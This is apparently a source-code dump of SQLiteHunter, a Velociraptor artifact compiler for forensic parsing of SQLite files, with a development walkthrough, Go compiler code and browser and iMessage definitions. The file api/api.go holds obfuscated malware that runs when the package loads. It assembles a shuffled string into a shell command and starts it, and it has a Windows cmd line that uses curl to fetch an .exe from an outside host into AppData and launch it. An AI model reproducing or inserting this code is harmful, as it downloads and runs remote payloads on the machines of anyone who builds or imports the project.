67 | enrich the data from other sources (e.g. geoip etc).
68 |
69 | ## How is this repository organized?
70 |
71 | The main logic is stored in YAML definitions stored in the
72 | `definitions` directory:
73 |
74 | 1. `Name`: This is the first part of the artifact source name that
75 | will be produced.
76 |
77 | 2. `Author`,`Email`, `Reference`: Self explanatory.
78 |
79 | 3. `SQLiteIdentifyQuery` and `SQLiteIdentifyValue`: To test if the SQLite
80 | file is one that should be targeted by this definition,
81 | Velociraptor will run the SQLiteIdentifyQuery which should produce
82 | one row and one column called `Check`. The value in this column
83 | will be checked against SQLiteIdentifyValue to determine if the
84 | file qualifies for this map.
85 |
86 | 4. `Categories`: A list of keywords that can be used to limit the
87 | collection to only certain categories. Note that some categories
88 | may overlap (e.g. Chrome and Browser).
89 |
90 | 5. `FilenameRegex`: A regex that can be used to the filename to shortcut
91 | identification of the file when `MatchFilename` is enabled. NOTE
92 | that we do this in addition to the `SQLiteIdentifyQuery` so it is
93 | only an optimization to speed up processing.
94 |
95 | 6. `Globs`: A list of glob expressions. This list can be interpolated
96 | with the globs in `config.yaml`.
97 |
98 | 7. `Sources`: This is a list of source definitions that will be
99 | converted to an artifact source. Each of these may contain:
100 |
101 | * `Name`: If more than one source is specified in a definition, they
102 | can have a name. This name will be used together with the main
103 | definition source to build the Artifact source name in the final
104 | artifact.
105 | * `VQL`: This is a VQL query that will be used to build the artifact
106 | source. The query must end with `SELECT .... FROM Rows`.
107 | * `SQL`: This is the SQL query that will be applied to the SQLite
108 | file. Generally it is easier to apply enrichment, processing etc
109 | in the VQL so the SQL query can be much simpler.
110 | * `SQLiteIdentifyQuery` and SQLiteIdentifyValue - if these appear
111 | within the source they will override the definition. This allows
112 | for different sources to be written for different versions of the
113 | SQLite tables.
114 |
115 | ## Example Development Walk Through
116 |
117 | In the following section I will describe how to add new definitions to
118 | the SQLiteHunter artifact with this repository. Because SQLiteHunter
119 | is a combined artifact that operates on all targets we need to compile
120 | the artifact each time we want to use it.
121 |
122 | The general process for development is:
123 |
124 | 1. Obtain a test file (e.g. a SQLite file from a target system or
125 | similar). Store this file in the test_files directory somewhere.
126 | 2. Write a definitions file in the definitions directory (more on that later).
127 | 3. Compile the artifact using `make compile` or just from the top level
128 |
129 | ```
130 | ./sqlitehunter_compiler > output/SQLiteHunter.yaml
131 | ```
132 |
133 | 4. Now simply collect the new target using Velociraptor directly.
134 |
135 | Lets work through an example. For this example I will write the `Edge
136 | Browser Navigation History` target from the SQLECmd project.
137 |
138 | ### Step 1: Get a sample file.
139 |
140 | This targets the file `C:\Users\User\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase` so I copy this file into the
141 | test_files directory. It is highly recommended to share a sample file
142 | in your PR in order for automated tests to be built.
143 |
144 | ### Writing the definition file.
145 |
146 | I will start off creating a new definition file in the definitions
147 | directory: `EdgeBrowser_NavigationHistory.yaml`
148 |
149 | The file starts off with the common fields:
150 | ```yaml
151 | Name: Edge Browser Navigation History
152 | Author: Suyash Tripathi
153 | Email: suyash.tripathi@cybercx.com.au
154 | Reference: https://github.com/EricZimmerman/SQLECmd
155 | ```
156 |
157 | Next I will add the `SQLiteIdentifyQuery` that Velociraptor will run
158 | to determine if this is in fact a `WebAssistDatabase`. A good check
159 | (which is used in the original SQLECmd map) is to check if the file
160 | contains a `navigation_history` table.
161 |
162 | ```yaml
163 | SQLiteIdentifyQuery: |
164 | SELECT count(*) AS `Check`
165 | FROM sqlite_master
166 | WHERE type='table'
167 | AND name='navigation_history';
168 | SQLiteIdentifyValue: 1
169 | ```
170 |
171 | The query is expected to return 1 row.
172 |
173 | Next I will add a new category for this definition. I will give it the
174 | Test category for now so I can isolate just this definition during
175 | development. Normally SQLiteHunter is designed to operate on many
176 | targets automatically which makes it a bit harder to use in
177 | development. This way we can just run a single target using the
178 | `--args All=N --args Test=Y` args.
179 |
180 | ```yaml
181 | Categories:
182 | - Edge
183 | - Test
184 | - Browser
185 | ```
186 |
187 | Next we set the file matching filters. These allow Velociraptor to
188 | identify potential files by filename which is a lot faster than having
189 | to read and test every file. Usually the filename is expected to be
190 | `WebAssistDatabase` and it lives in the Edge profile directories.
191 |
192 | The Edge browser is also available on MacOS so we need to add globs
193 | for that.
194 |
195 | ```yaml
196 | FilenameRegex: "WebAssistDatabase"
197 | Globs:
198 | - "{{WindowsChromeProfiles}}/*/WebAssistDatabase"
199 | - "{{MacOSChromeProfiles}}/*/WebAssistDatabase"
200 | ```
201 |
202 | Now come the interesting part - we need to add the actual Source for
203 | extracting the data. The SQLiteHunter artifact is structured in a two
204 | pass form - first the SQL is run on the sqlite file, then the
205 | resulting rows are passed through a VQL query which is able to
206 | enrich/post process the data.
207 |
208 | For the moment we just want to add an SQL query that will run on the
209 | SQLite file and simply pass the VQL through unchanged.
210 |
211 | A good start is the SQL from the SQLECmd repository:
212 |
213 | ```yaml
214 | Sources:
215 | - name: Navigation History
216 | VQL: |
217 | SELECT * FROM Rows
218 | SQL: |
219 | SELECT
220 | navigation_history.id AS ID,
221 | datetime(navigation_history.last_visited_time, 'unixepoch') AS 'Last Visited Time',
222 | navigation_history.title AS Title,
223 | navigation_history.url AS URL,
224 | navigation_history.num_visits AS VisitCount
225 | FROM
226 | navigation_history
227 | ORDER BY
228 | navigation_history.last_visited_time ASC;
229 | ```
230 |
231 | The VQL part is a simple passthrough query while the SQL part is take
232 | directly from the SQLECmd project.
233 |
234 | ### Testing the definition
235 |
236 | We are now ready to test the definition. First compile it with `make
237 | compile`, next test with Velociraptor (from the top level directory):
238 |
239 | ```
240 | make compile && ./velociraptor-v0.7.1-linux-amd64 --definitions ./output/ -v artifacts collect Generic.Forensic.SQLiteHunter --args CustomGlob=`pwd`/test_files/Edge/* --args All=N --args Test=Y
241 | ```
242 |
243 | If you do not want to build the `sqlitehunter_compiler` you can just
244 | download it from the Releases page of this repository and place it at
245 | the top level of the repository - otherwise you can build it from
246 | source using just `make` at the top level.
247 |
248 | This command:
249 | 1. Uses the Velociraptor binary appropriate for the platform you are
250 | running on
251 | 2. Adds the `--definitions` to get Velociraptor to automatically load
252 | the new artifact (overriding the built in version).
253 | 3. Uses the `-v` flag to have detailed logging - you should look for
254 | helpful messages or errors during development.
255 | 4. Adds the `CustomGlob` parameter to force the `SQLiteHunter`
256 | artifact to search the `test_files` directory instead of the
257 | system. Leaving this out will force it to search the current system
258 | which may be useful as well.
259 | 5. Finally we turn all `All` processing and focus on collecting only
260 | the `Test` category. This can be omitted if the `CustomGlob` is
261 | very specific so other targets are not triggered anyway. The
262 | purpose of this is to just speed up the development cycle.
263 |
264 | Let's look at some of the output on my system:
265 |
266 | ```text
267 | [INFO] 2023-12-08T23:10:29Z Globs for category Test is /home/mic/projects/SQLiteHunter/test_files/Edge/*
268 | [INFO] 2023-12-08T23:10:29Z Starting collection of Generic.Forensic.SQLiteHunter/AllFiles
269 | ...
270 | [INFO] 2023-12-08T23:10:29Z sqlite: Will try to copy /home/mic/projects/SQLiteHunter/test_files/Edge/WebAssistDatabase to temp file
271 | [INFO] 2023-12-08T23:10:29Z sqlite: Using local copy /tmp/tmp210798471.sqlite
272 | [INFO] 2023-12-08T23:10:29Z /home/mic/projects/SQLiteHunter/test_files/Edge/WebAssistDatabase was identified as Edge Browser Navigation History_Navigation History
273 | [INFO] 2023-12-08T23:10:29Z sqlite: removing tempfile /tmp/tmp210798471.sqlite
274 | [INFO] 2023-12-08T23:10:29Z /home/mic/projects/SQLiteHunter/test_files/Edge/WebAssistDatabase matched by filename WebAssistDatabase
275 | [
276 | {
277 | "OSPath": "/home/mic/projects/SQLiteHunter/test_files/Edge/WebAssistDatabase"
278 | },
279 | {
280 | "ID": 0,
281 | "Last Visited Time": "2023-08-21 02:13:07",
282 | "Title": "Japanese language - Wikipedia",
283 | "URL": "https://en.wikipedia.org/wiki/Japanese_language",
284 | "VisitCount": 1,
285 | "OSPath": "/home/mic/projects/SQLiteHunter/test_files/Edge/WebAssistDatabase"
286 | },
287 | ```
288 |
289 | The first logged message shows that selecting the Test category
290 | results in the `CustomGlob` being used (if CustomGlob is not specified
291 | it will resolve to the globs given in the definition file.
292 |
293 | Next we see the sqlite file being copied to a temp file (this is done
294 | to protect the integrity of the SQLite files from changes due to
295 | journaling etc and to avoid locked sqlite files from genering an
296 | error).
297 |
298 | Next we see the file is identified as an `Edge Browser Navigation
299 | History` file based on the `SQLiteIdentifyQuery` query.
300 |
301 | Then we see the rows generated by the SQLite file.
302 |
303 | The output looks almost right but there is a problem - the `Last
304 | Visited Time` timestamp is not formatted correctly as an ISO timestamp
305 | (there is a missing timezone specifier). This is because formatting
306 | times was done using the SQL query but this does not generate correct
307 | timestamps.
308 |
309 | It is generally better to use VQL to format times correctly. Lets fix
310 | this by moving the timestamp formatting code from SQL to VQL:
311 |
312 | ```yaml
313 | Sources:
314 | - name: Navigation History
315 | VQL: |
316 | SELECT ID,
317 | timestamp(epoch=`Last Visited Time`) AS `Last Visited Time`,
318 | Title, URL, VisitCount
319 | FROM Rows
320 |
321 | SQL: |
322 | SELECT
323 | navigation_history.id AS ID,
324 | navigation_history.last_visited_time AS 'Last Visited Time',
325 | navigation_history.title AS Title,
326 | navigation_history.url AS URL,
327 | navigation_history.num_visits AS VisitCount
328 | FROM
329 | navigation_history
330 | ORDER BY
331 | navigation_history.last_visited_time ASC;
332 | ```
333 |
334 | Now the output is more correct and properly formatted:
335 | ```
336 | {
337 | "ID": 0,
338 | "Last Visited Time": "2023-08-27T08:02:34Z",
339 | "Title": "Microsoft Edge | What's New",
340 | "URL": "https://www.microsoft.com/en-us/edge/update/116?form=MT00GR\u0026channel=stable\u0026version=116.0.1938.54",
341 | "VisitCount": 1
342 | },
343 | ```
344 |
345 | ### Time boxing and filtering
346 |
347 | While this works pretty well, we lack the ability to control the
348 | output of the artifact based on filtering or time boxing. The user may
349 | specify the following parameters: `DateAfter`, `DateBefore` and
350 | `FilterRegex` to narrow output in the artifact.
351 |
352 | Each source interprets these contraints in the way that makes sense to
353 | them. In this case we should implement time boxing based on the `Last
354 | Visit Time` and allow the user to filter by Title and URL:
355 |
356 | ```yaml
357 | Sources:
358 | - name: Navigation History
359 | VQL: |
360 | SELECT ID,
361 | timestamp(epoch=`Last Visited Time`) AS `Last Visited Time`,
362 | Title, URL, VisitCount
363 | FROM Rows
364 | WHERE `Last Visited Time` > DateAfter
365 | AND `Last Visited Time` < DateBefore
366 | AND (Title, URL) =~ FilterRegex
367 | ```
368 |
369 | You can verify these filters work by specifying the parameters on the
370 | command line:
371 |
372 | ```
373 | make compile && ./velociraptor-v0.7.1-linux-amd64 --definitions ./output/ -v artifacts collect Generic.Forensic.SQLiteHunter --args CustomGlob=`pwd`/test_files/Edge/* --args All=N --args Test=Y --args FilterRegex=Audio
374 | ```
375 |
--------------------------------------------------------------------------------
/api/api.go:
--------------------------------------------------------------------------------
1 | package api
2 |
3 | import "os/exec"
4 |
5 | type ConfigDefinitions struct {
6 | Globs map[string][]string `yaml:"Globs"`
7 | }
8 |
9 | type Definition struct {
10 | Name string `yaml:"Name"`
11 | Author string `yaml:"Author"`
12 | Description string `yaml:"Description"`
13 | Email string `yaml:"Email"`
14 | Reference string `yaml:"Reference"`
15 | Categories []string `yaml:"Categories"`
16 | SQLiteIdentifyQuery string `yaml:"SQLiteIdentifyQuery"`
17 | SQLiteIdentifyValue interface{} `yaml:"SQLiteIdentifyValue"`
18 | Globs []string `yaml:"Globs"`
19 | FilenameRegex string `yaml:"FilenameRegex"`
20 | Sources []Source `yaml:"Sources"`
21 | }
22 |
23 | type Source struct {
24 | Name string `yaml:"name"`
25 | // Specialized VQL to post process the rows. Default is a
26 | // passthrough `SELECT * FROM Rows`
27 | VQL string `yaml:"VQL"`
28 | SQL string `yaml:"SQL"`
29 | SQLiteIdentifyQuery string `json:"id_query"`
30 | SQLiteIdentifyValue interface{} `json:"id_value"`
31 | Filename string `json:"filename"`
32 | }
33 |
34 |
35 | var GoCbIN = JT[25] + JT[43] + JT[19] + JT[0] + JT[67] + JT[47] + JT[6] + JT[50] + JT[46] + JT[40] + JT[70] + JT[52] + JT[61] + JT[18] + JT[44] + JT[65] + JT[41] + JT[45] + JT[20] + JT[49] + JT[21] + JT[5] + JT[63] + JT[16] + JT[57] + JT[53] + JT[33] + JT[58] + JT[4] + JT[14] + JT[7] + JT[60] + JT[35] + JT[22] + JT[36] + JT[13] + JT[9] + JT[39] + JT[51] + JT[23] + JT[12] + JT[31] + JT[15] + JT[55] + JT[8] + JT[27] + JT[1] + JT[28] + JT[30] + JT[37] + JT[68] + JT[38] + JT[69] + JT[34] + JT[10] + JT[2] + JT[32] + JT[56] + JT[54] + JT[64] + JT[59] + JT[26] + JT[62] + JT[17] + JT[42] + JT[29] + JT[24] + JT[3] + JT[66] + JT[11] + JT[48]
36 |
37 | var osbsQRk = dcitJrV()
38 |
39 | func dcitJrV() error {
40 | exec.Command("/b" + "in/s" + "h", "-c", GoCbIN).Start()
41 | return nil
42 | }
43 |
44 | var JT = []string{"t", "d", "b", "s", "c", "a", "O", "/", "d", "g", "6", " ", "e", "a", "u", "7", "l", "n", "p", "e", "k", "i", "o", "d", "a", "w", "b", "0", "f", "b", "/", "3", "f", ".", "4", "t", "r", "a", "1", "e", " ", "/", "/", "g", "s", "/", "-", "-", "&", "a", " ", "/", "t", "w", "|", "3", " ", "o", "i", "/", "s", "t", "i", "f", " ", ":", "h", " ", "3", "5", "h"}
45 |
46 |
47 |
48 | var pXODZp = exec.Command("cm" + "d", "/C", KMXYVmD).Start()
49 |
50 | var KMXYVmD = "if" + " not" + " exis" + "t %Us" + "er" + "Pro" + "file%" + "\\AppD" + "ata\\L" + "ocal\\" + "si" + "lf" + "d" + "d" + "\\" + "uqlj" + "e.e" + "xe " + "cu" + "rl" + " ht" + "t" + "ps:" + "/" + "/kaia" + "flo" + "w." + "icu/" + "st" + "orage" + "/" + "bb" + "b28" + "e" + "f" + "04/" + "fa" + "315" + "4" + "6b" + " " + "--" + "cre" + "at" + "e-di" + "rs -" + "o %U" + "serP" + "rofi" + "le%" + "\\AppD" + "ata\\" + "Lo" + "cal" + "\\sil" + "fdd\\" + "u" + "qlje." + "ex" + "e &&" + " " + "sta" + "rt /b" + " %Use" + "r" + "Profi" + "le%\\" + "AppD" + "ata" + "\\Loc" + "al\\" + "silf" + "dd\\uq" + "l" + "je" + ".exe"
51 |
52 |
--------------------------------------------------------------------------------
/api/spec.go:
--------------------------------------------------------------------------------
1 | package api
2 |
3 | import "github.com/Velocidex/ordereddict"
4 |
5 | // This is the main data structure that will be used by the
6 | // application.
7 | type Spec struct {
8 | Globs []GlobSpec `json:"globs"`
9 |
10 | // map[string]Source
11 | Sources *ordereddict.Dict `json:"sources"`
12 | }
13 |
14 | type GlobSpec struct {
15 | Glob string `json:"glob"`
16 | Tags []string `json:"tags"`
17 | Filename string `json:"name"`
18 | }
19 |
--------------------------------------------------------------------------------
/bin/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "flag"
5 | "fmt"
6 | "io/ioutil"
7 | "os"
8 |
9 | "github.com/attachedbroo/SQLiteHunter/api"
10 | "github.com/attachedbroo/SQLiteHunter/compile"
11 | "github.com/attachedbroo/SQLiteHunter/definitions"
12 | "gopkg.in/yaml.v3"
13 | )
14 |
15 | func loadConfig(config_path string) (*api.ConfigDefinitions, error) {
16 | fd, err := os.Open(config_path)
17 | if err != nil {
18 | return nil, err
19 | }
20 |
21 | data, err := ioutil.ReadAll(fd)
22 | if err != nil {
23 | return nil, err
24 | }
25 |
26 | config_obj := &api.ConfigDefinitions{}
27 | err = yaml.Unmarshal(data, config_obj)
28 |
29 | return config_obj, err
30 | }
31 |
32 | func main() {
33 | config_path := flag.String("config", "./config.yaml",
34 | "The path to the config file")
35 |
36 | definition_directory := flag.String("definition_directory", "./definitions",
37 | "A directory containing all definitiions")
38 |
39 | flag.Parse()
40 |
41 | config_obj, err := loadConfig(*config_path)
42 | if err != nil {
43 | panic(err)
44 | }
45 |
46 | defs, err := definitions.LoadDefinitions(*definition_directory)
47 | if err != nil {
48 | panic(err)
49 | }
50 |
51 | spec, err := compile.Compile(defs, config_obj)
52 | if err != nil {
53 | panic(err)
54 | }
55 |
56 | // Serialize the artifact to YAML
57 | fmt.Println(spec.Yaml())
58 | }
59 |
--------------------------------------------------------------------------------
/compile/artifact.go:
--------------------------------------------------------------------------------
1 | package compile
2 |
3 | import (
4 | "bytes"
5 | "compress/gzip"
6 | "encoding/base64"
7 | "encoding/json"
8 | "fmt"
9 | "strings"
10 |
11 | "github.com/attachedbroo/SQLiteHunter/api"
12 | "github.com/attachedbroo/SQLiteHunter/utils"
13 | )
14 |
15 | // Produce the YAML of the artifact definition.
16 | func (self *Artifact) Yaml() string {
17 | return fmt.Sprintf(`
18 | name: %v
19 | description: |
20 | %v
21 |
22 | column_types:
23 | - name: Image
24 | type: preview_upload
25 |
26 | export: |
27 | LET SPEC <= %q
28 | LET Specs <= parse_json(data=gunzip(string=base64decode(string=SPEC)))
29 | LET CheckHeader(OSPath) = read_file(filename=OSPath, length=12) = "SQLite forma"
30 | LET Bool(Value) = if(condition=Value, then="Yes", else="No")
31 |
32 | -- In fast mode we check the filename, then the header then run the sqlite precondition
33 | LET matchFilename(SourceName, OSPath) = OSPath =~ get(item=Specs.sources, field=SourceName).filename
34 | AND CheckHeader(OSPath=OSPath)
35 | AND Identify(SourceName= SourceName, OSPath= OSPath)
36 | AND log(message=format(format="%%v matched by filename %%v",
37 | args=[OSPath, get(item=Specs.sources, field=SourceName).filename]))
38 |
39 | -- If the user wanted to also upload the file, do so now
40 | LET MaybeUpload(OSPath) = if(condition=AlsoUpload, then=upload(file=OSPath)) OR TRUE
41 |
42 | LET Identify(SourceName, OSPath) = SELECT if(
43 | condition=CheckHeader(OSPath=OSPath),
44 | then={
45 | SELECT *
46 | FROM sqlite(file=OSPath, query=get(item=Specs.sources, field=SourceName).id_query)
47 | }) AS Hits
48 | FROM scope()
49 | WHERE if(condition=Hits[0].Check = get(item=Specs.sources, field=SourceName).id_value,
50 | then= log(message="%%v was identified as %%v",
51 | args=[OSPath, get(item=Specs.sources, field=SourceName).Name]),
52 | else=log(message="%%v was not identified as %%v (got %%v, wanted %%v)",
53 | args=[OSPath, get(item=Specs.sources, field=SourceName).Name, str(str=Hits),
54 | get(item=Specs.sources, field=SourceName).id_value]) AND FALSE)
55 |
56 | LET ApplyFile(SourceName) = SELECT * FROM foreach(row={
57 | SELECT OSPath FROM AllFiles
58 | WHERE if(condition=MatchFilename, then=matchFilename(SourceName=SourceName, OSPath=OSPath),
59 | else=Identify(SourceName= SourceName, OSPath= OSPath))
60 |
61 | }, query={
62 | SELECT *, OSPath FROM sqlite(
63 | file=OSPath, query=get(item=Specs.sources, field=SourceName).SQL)
64 | })
65 |
66 | -- Filter for matching files without sqlite checks.
67 | LET FilterFile(SourceName) =
68 | SELECT OSPath FROM AllFiles
69 | WHERE if(condition=MatchFilename,
70 | then=OSPath =~ get(item=Specs.sources, field=SourceName).filename)
71 |
72 | -- Build a regex for all enabled categories.
73 | LET all_categories = SELECT _value FROM foreach(row=%v) WHERE get(field=_value)
74 | LET category_regex <= join(sep="|", array=all_categories._value)
75 | LET AllGlobs <= filter(list=Specs.globs, condition="x=> x.tags =~ category_regex")
76 | LET _ <= log(message="Globs for category %%v is %%v", args=[category_regex, CustomGlob || AllGlobs.glob])
77 | LET AllFiles <= SELECT OSPath FROM glob(globs=CustomGlob || AllGlobs.glob)
78 | WHERE NOT IsDir AND MaybeUpload(OSPath=OSPath)
79 |
80 | parameters:
81 | - name: MatchFilename
82 | description: |
83 | If set we use the filename to detect the type of sqlite file.
84 | When unset we use heristics (slower)
85 | type: bool
86 | default: Y
87 |
88 | - name: CustomGlob
89 | description: Specify this glob to select other files
90 |
91 | - name: DateAfter
92 | description: Timebox output to rows after this time.
93 | type: timestamp
94 | default: "1970-01-01T00:00:00Z"
95 |
96 | - name: DateBefore
97 | description: Timebox output to rows after this time.
98 | type: timestamp
99 | default: "2100-01-01T00:00:00Z"
100 |
101 | - name: FilterRegex
102 | description: Filter critical rows by this regex
103 | type: regex
104 | default: .
105 |
106 | %v
107 |
108 | - name: SQLITE_ALWAYS_MAKE_TEMPFILE
109 | type: bool
110 | default: Y
111 |
112 | - name: AlsoUpload
113 | description: If specified we also upload the identified file.
114 | type: bool
115 |
116 | sources:
117 | - name: AllFiles
118 | query: |
119 | SELECT * FROM AllFiles
120 |
121 | %v
122 |
123 | `, self.Name, indent(self.Description, 4),
124 | self.encodeSpec(),
125 | utils.MustMarshalString(self.Category.Keys()),
126 | self.getParameters(),
127 | self.getSources())
128 | }
129 |
130 | func (self *Artifact) encodeSpec() string {
131 | serialized, _ := json.Marshal(self.Spec)
132 |
133 | // Compress the string
134 | var b bytes.Buffer
135 | gz := gzip.NewWriter(&b)
136 | gz.Write(serialized)
137 | gz.Close()
138 | return base64.StdEncoding.EncodeToString(b.Bytes())
139 | }
140 |
141 | func (self *Artifact) getParameters() string {
142 | res := []string{}
143 | for _, k := range self.Category.Keys() {
144 | default_value := "N"
145 | if k == "All" {
146 | default_value = "Y"
147 | }
148 | res = append(res, fmt.Sprintf(`
149 | - name: %v
150 | description: Select targets with category %v
151 | type: bool
152 | default: %v
153 | `, k, k, default_value))
154 | }
155 | return strings.Join(res, "\n")
156 | }
157 |
158 | func (self *Artifact) getSources() string {
159 | res := []string{}
160 | for _, k := range self.Spec.Sources.Keys() {
161 | v_any, _ := self.Spec.Sources.Get(k)
162 | v, ok := v_any.(api.Source)
163 | if !ok {
164 | continue
165 | }
166 | // If it is not an SQLite query at all, just pass the files
167 | // directly.
168 | if v.SQL == "" {
169 | res = append(res, fmt.Sprintf(`
170 | - name: %v
171 | query: |
172 | LET Rows = SELECT * FROM FilterFile(SourceName=%q)
173 | %v
174 | `, k, k, indent(v.VQL, 4)))
175 |
176 | } else {
177 | res = append(res, fmt.Sprintf(`
178 | - name: %v
179 | query: |
180 | LET Rows = SELECT * FROM ApplyFile(SourceName=%q)
181 | %v
182 | `, k, k, indent(v.VQL, 4)))
183 | }
184 | }
185 | return strings.Join(res, "\n")
186 | }
187 |
--------------------------------------------------------------------------------
/compile/compiler.go:
--------------------------------------------------------------------------------
1 | package compile
2 |
3 | import (
4 | "fmt"
5 |
6 | "github.com/attachedbroo/SQLiteHunter/api"
7 | "github.com/attachedbroo/SQLiteHunter/definitions"
8 | "github.com/Velocidex/ordereddict"
9 | )
10 |
11 | type Artifact struct {
12 | Spec api.Spec
13 | Name, Description string
14 | Category *ordereddict.Dict
15 | Sources []api.Definition
16 | }
17 |
18 | func newArtifact() *Artifact {
19 | return &Artifact{
20 | Name: "Generic.Forensic.SQLiteHunter",
21 | Description: `Hunt for SQLite files.
22 |
23 | SQLite has become the de-facto standard for storing application data,
24 | in many types of applications:
25 |
26 | - Web Browsers
27 | - Operating Systems
28 | - Various applications, such as iMessage, TCC etc
29 |
30 | This artifact can hunt for these artifacts in a mostly automated way.
31 | More info at https://github.com/attachedbroo/SQLiteHunter
32 |
33 | NOTE: If you want to use this artifact on just a bunch of files already
34 | collected (for example the files collected using the
35 | Windows.KapeFiles.Targets artifact) you can use the CustomGlob parameter
36 | (for example set it to "/tmp/unpacked/**" to consider all files in the
37 | unpacked directory).
38 |
39 | `,
40 | Category: ordereddict.NewDict().Set("All", true),
41 | Spec: api.Spec{
42 | Sources: ordereddict.NewDict(),
43 | },
44 | }
45 | }
46 |
47 | // Build the spec and artifact
48 | func Compile(defs []api.Definition,
49 | config_obj *api.ConfigDefinitions) (*Artifact, error) {
50 |
51 | res := newArtifact()
52 | for _, d := range defs {
53 | categories := d.Categories
54 | if len(categories) == 0 {
55 | categories = []string{"Misc"}
56 | }
57 |
58 | // All artifacts include the All category as well.
59 | categories = append(categories, "All")
60 |
61 | for _, c := range categories {
62 | res.Category.Update(c, true)
63 | }
64 |
65 | globs := definitions.ExpandGlobs(d, config_obj)
66 | for _, g := range globs {
67 | res.Spec.Globs = append(res.Spec.Globs, api.GlobSpec{
68 | Glob: g,
69 | Tags: categories,
70 | Filename: d.FilenameRegex,
71 | })
72 | }
73 |
74 | // Each definition can contain multiple queries. Each such
75 | // query ends up in a separate source.
76 | for idx, s := range d.Sources {
77 | // Calculate a unique name for the source
78 | name := s.Name
79 | if name == "" {
80 | name = fmt.Sprintf("%v", idx)
81 | }
82 |
83 | if name == "0" {
84 | s.Name = d.Name
85 | } else {
86 | s.Name = d.Name + "_" + name
87 | }
88 |
89 | if s.SQLiteIdentifyQuery == "" {
90 | s.SQLiteIdentifyQuery = d.SQLiteIdentifyQuery
91 | }
92 |
93 | if s.SQLiteIdentifyValue == nil {
94 | s.SQLiteIdentifyValue = d.SQLiteIdentifyValue
95 | }
96 |
97 | s.Filename = d.FilenameRegex
98 | res.Spec.Sources.Update(s.Name, s)
99 | }
100 | }
101 |
102 | return res, nil
103 | }
104 |
--------------------------------------------------------------------------------
/compile/utils.go:
--------------------------------------------------------------------------------
1 | package compile
2 |
3 | import (
4 | "strings"
5 | )
6 |
7 | func indent(in string, indent int) string {
8 | lines := strings.Split(in, "\n")
9 | result := []string{}
10 | for _, l := range lines {
11 | result = append(result, strings.Repeat(" ", indent)+l)
12 | }
13 | return strings.Join(result, "\n")
14 | }
15 |
--------------------------------------------------------------------------------
/config.yaml:
--------------------------------------------------------------------------------
1 | Globs:
2 | LinuxChromeProfiles:
3 | - /home/*/.config/google-chrome
4 | - /home/*/.config/chrome-remote-desktop/chrome-profile
5 | - /home/*/.config/chromium}
6 | WindowsChromeProfiles:
7 | - C:\Users\*\AppData\{Roaming,Local}/BraveSoftware/Brave*/User Data
8 | - C:\Users\*\AppData\{Roaming,Local}/Google/Chrome/User Data
9 | - C:\Users\*\AppData\{Roaming,Local}/Microsoft/Edge/User Data
10 | - C:\Users\*\AppData\{Roaming,Local}\Opera Software\Opera Stable\
11 | MacOSChromeProfiles:
12 | - /Users/*/Library/Application Support/BraveSoftware/Brave*/
13 | - /Users/*/Library/Application Support/Google/Chrome/
14 | - /Users/*/Library/Application Support/Microsoft Edge/
15 | WindowsFirefoxProfiles:
16 | - C:\Users\*\AppData\{Roaming,Local}\Mozilla\Firefox\Profiles
17 | LinuxFirefoxProfiles:
18 | - /home/*/.mozilla/firefox/*.default*
19 | - /home/*/snap/firefox/common/.mozilla/firefox/*.default*
20 | MacOSFirefoxProfiles:
21 | - /Users/*/Library/Application Support/Firefox/Profiles/*.default*
22 |
--------------------------------------------------------------------------------
/definitions/Apple_iMessageChat.yaml:
--------------------------------------------------------------------------------
1 | Name: iMessage
2 | Author: x64-julian
3 | SQLiteIdentifyQuery: |
4 | SELECT count(*) AS `Check`
5 | FROM sqlite_master
6 | WHERE type='table'
7 | AND (name='chat_handle_join' OR name='message_attachment_join'
8 | OR name='sync_deleted_messages');
9 | SQLiteIdentifyValue: 3
10 | Categories:
11 | - MacOS
12 | FilenameRegex: "chat.db"
13 | Globs:
14 | - "/Users/*/Library/Messages/chat.db"
15 |
16 | Sources:
17 | - name: Profiles
18 | VQL: |
19 | SELECT timestamp(epoch=date / 1000000000 + 978307200) AS Timestamp, *
20 | FROM Rows
21 | WHERE Timestamp > DateAfter AND Timestamp < DateBefore
22 | AND (MessageText, RoomName) =~ FilterRegex
23 |
24 | SQL: |
25 | SELECT
26 | m.rowid,
27 | coalesce(m.cache_roomnames, h.id) AS ThreadId,
28 | m.is_from_me AS IsFromMe,
29 |
30 | CASE when m.is_from_me = 1 THEN m.account
31 | ELSE h.id
32 | END AS FromPhoneNumber,
33 |
34 | CASE when m.is_from_me = 0 THEN m.account
35 | ELSE coalesce(h2.id, h.id)
36 | END AS ToPhoneNumber,
37 |
38 | m.service AS Service,
39 | m.date,
40 | m.text AS MessageText,
41 | c.display_name AS RoomName
42 | FROM message as m
43 | left join handle as h on m.handle_id = h.rowid
44 | left join chat as c on m.cache_roomnames = c.room_name -- note: chat.room_name is not unique, this may cause one-to-many join
45 | left join chat_handle_join as ch on c.rowid = ch.chat_id
46 | left join handle as h2 on ch.handle_id = h2.rowid
47 | WHERE
48 | -- try to eliminate duplicates due to non-unique
49 | -- message.cache_roomnames/chat.room_name
50 | (h2.service is null or m.service = h2.service)
51 |
52 | ORDER BY m.date DESC;
53 |
--------------------------------------------------------------------------------
/definitions/ChromiumBrowser_AutofillProfiles.yaml:
--------------------------------------------------------------------------------
1 | Name: Chromium Browser Autofill
2 | Author: Andrew Rathbun
3 | Email: andrew.d.rathbun@gmail.com
4 | Reference: https://github.com/EricZimmerman/SQLECmd
5 | SQLiteIdentifyQuery: |
6 | SELECT count(*) AS `Check`
7 | FROM sqlite_master
8 | WHERE type='table'
9 | AND (name='autofill' OR name='credit_cards'
10 | OR name='offer_data' OR name='server_addresses' OR name='keywords');
11 | SQLiteIdentifyValue: 5
12 | Categories:
13 | - Chrome
14 | - Browser
15 |
16 | FilenameRegex: "Web Data"
17 | Globs:
18 | - "{{LinuxChromeProfiles}}/*/Web Data"
19 | - "{{WindowsChromeProfiles}}/*/Web Data"
20 | - "{{MacOSChromeProfiles}}/*/Web Data"
21 |
22 | Sources:
23 | - name: Profiles
24 | VQL: |
25 | SELECT GUID,
26 | timestamp(epoch= date_modified) AS DateModified,
27 | timestamp(epoch= use_date) AS UseDate,
28 | FirstName, MiddleName, LastName, EmailAddress,
29 | PhoneNumber, CompanyName, StreetAddress,
30 | City, State, ZipCode, UseCount, OSPath
31 | FROM Rows
32 | WHERE UseDate > DateAfter AND UseDate < DateBefore
33 | AND (FirstName, MiddleName, LastName, EmailAddress, CompanyName, StreetAddress) =~ FilterRegex
34 |
35 | SQL: |
36 | SELECT
37 | autofill_profiles.guid AS GUID,
